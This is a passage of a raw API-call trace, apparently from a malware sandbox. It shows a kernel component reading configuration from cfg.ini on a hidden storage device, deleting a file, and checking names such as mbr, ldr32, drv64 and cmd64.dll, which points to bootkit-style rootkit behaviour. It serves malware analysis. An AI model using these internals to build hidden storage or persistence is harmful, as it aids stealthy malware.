_Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.361] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.361] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.361] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.361] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.361] KeLeaveCriticalRegion () [0119.361] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.361] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.361] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.361] KeEnterCriticalRegion () [0119.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.361] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.361] IdePortDispatch () returned 0x103 [0119.362] KeWaitForMutexObject () returned 0x0 [0119.362] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.362] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.362] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.362] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.362] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.362] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.362] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.362] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.362] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.362] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.362] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.362] KeLeaveCriticalRegion () [0119.362] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.362] ReleaseMutex (hMutex=0x100) returned 1 [0119.362] Sleep (dwMilliseconds=0x2bf20) [0119.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a564ff0, dwHighDateTime=0x1d24fa4)) [0119.363] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.363] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.370] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.370] KeEnterCriticalRegion () [0119.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.371] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.371] IdePortDispatch () returned 0x103 [0119.371] KeWaitForMutexObject () returned 0x0 [0119.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.371] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.371] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.371] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.371] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.371] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.371] KeLeaveCriticalRegion () [0119.371] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.371] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.371] KeEnterCriticalRegion () [0119.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.371] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.371] KeLeaveCriticalRegion () [0119.371] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.371] KeEnterCriticalRegion () [0119.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.371] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.371] IdePortDispatch () returned 0x103 [0119.371] KeWaitForMutexObject () returned 0x0 [0119.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.372] KeLeaveCriticalRegion () [0119.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.372] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.372] KeEnterCriticalRegion () [0119.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.372] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d54000 [0119.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.372] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.372] IdePortDispatch () returned 0x103 [0119.372] KeWaitForMutexObject () returned 0x0 [0119.372] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.372] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.372] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.372] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.372] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.372] IdePortDispatch () returned 0x103 [0119.372] KeWaitForMutexObject () returned 0x0 [0119.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.372] KeLeaveCriticalRegion () [0119.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.373] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.373] KeEnterCriticalRegion () [0119.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] KeLeaveCriticalRegion () [0119.373] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.373] KeEnterCriticalRegion () [0119.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.373] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] KeLeaveCriticalRegion () [0119.373] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.373] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.373] KeEnterCriticalRegion () [0119.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.373] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] KeLeaveCriticalRegion () [0119.373] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.373] ReleaseMutex (hMutex=0xf0) returned 1 [0119.373] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.373] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.373] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.373] KeEnterCriticalRegion () [0119.373] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.373] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.373] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.373] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.373] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.373] IdePortDispatch () returned 0x103 [0119.373] KeWaitForMutexObject () returned 0x0 [0119.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.374] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.374] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.374] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.374] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.374] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbb50 [0119.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.374] KeLeaveCriticalRegion () [0119.374] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.374] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.374] KeEnterCriticalRegion () [0119.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.374] KeLeaveCriticalRegion () [0119.374] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.374] KeEnterCriticalRegion () [0119.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.374] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.374] IdePortDispatch () returned 0x103 [0119.374] KeWaitForMutexObject () returned 0x0 [0119.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.374] KeLeaveCriticalRegion () [0119.374] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.374] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.374] KeEnterCriticalRegion () [0119.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.375] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d55000 [0119.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.375] IdePortDispatch () returned 0x103 [0119.375] KeWaitForMutexObject () returned 0x0 [0119.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.375] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.375] IdePortDispatch () returned 0x103 [0119.375] KeWaitForMutexObject () returned 0x0 [0119.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.375] KeLeaveCriticalRegion () [0119.375] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.376] KeEnterCriticalRegion () [0119.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] KeLeaveCriticalRegion () [0119.376] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.376] KeEnterCriticalRegion () [0119.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.376] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] KeLeaveCriticalRegion () [0119.376] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.376] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.376] KeEnterCriticalRegion () [0119.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] ExFreePoolWithTag (P=0xfffffa8003bcbb50, Tag=0x0) [0119.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] KeLeaveCriticalRegion () [0119.376] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.376] ReleaseMutex (hMutex=0xf0) returned 1 [0119.376] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.376] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.376] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.376] KeEnterCriticalRegion () [0119.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.376] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.376] IdePortDispatch () returned 0x103 [0119.376] KeWaitForMutexObject () returned 0x0 [0119.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.376] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.377] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.377] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.377] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.377] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb560 [0119.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.377] KeLeaveCriticalRegion () [0119.377] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.377] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.377] KeEnterCriticalRegion () [0119.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.377] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.377] KeLeaveCriticalRegion () [0119.377] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.377] KeEnterCriticalRegion () [0119.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.377] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.377] IdePortDispatch () returned 0x103 [0119.377] KeWaitForMutexObject () returned 0x0 [0119.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.377] KeLeaveCriticalRegion () [0119.377] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.377] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.377] KeEnterCriticalRegion () [0119.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.377] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d56000 [0119.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.377] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.377] IdePortDispatch () returned 0x103 [0119.377] KeWaitForMutexObject () returned 0x0 [0119.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.378] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.378] IdePortDispatch () returned 0x103 [0119.378] KeWaitForMutexObject () returned 0x0 [0119.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.378] KeLeaveCriticalRegion () [0119.378] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.378] KeEnterCriticalRegion () [0119.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] KeLeaveCriticalRegion () [0119.379] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.379] KeEnterCriticalRegion () [0119.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.379] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.379] KeLeaveCriticalRegion () [0119.379] 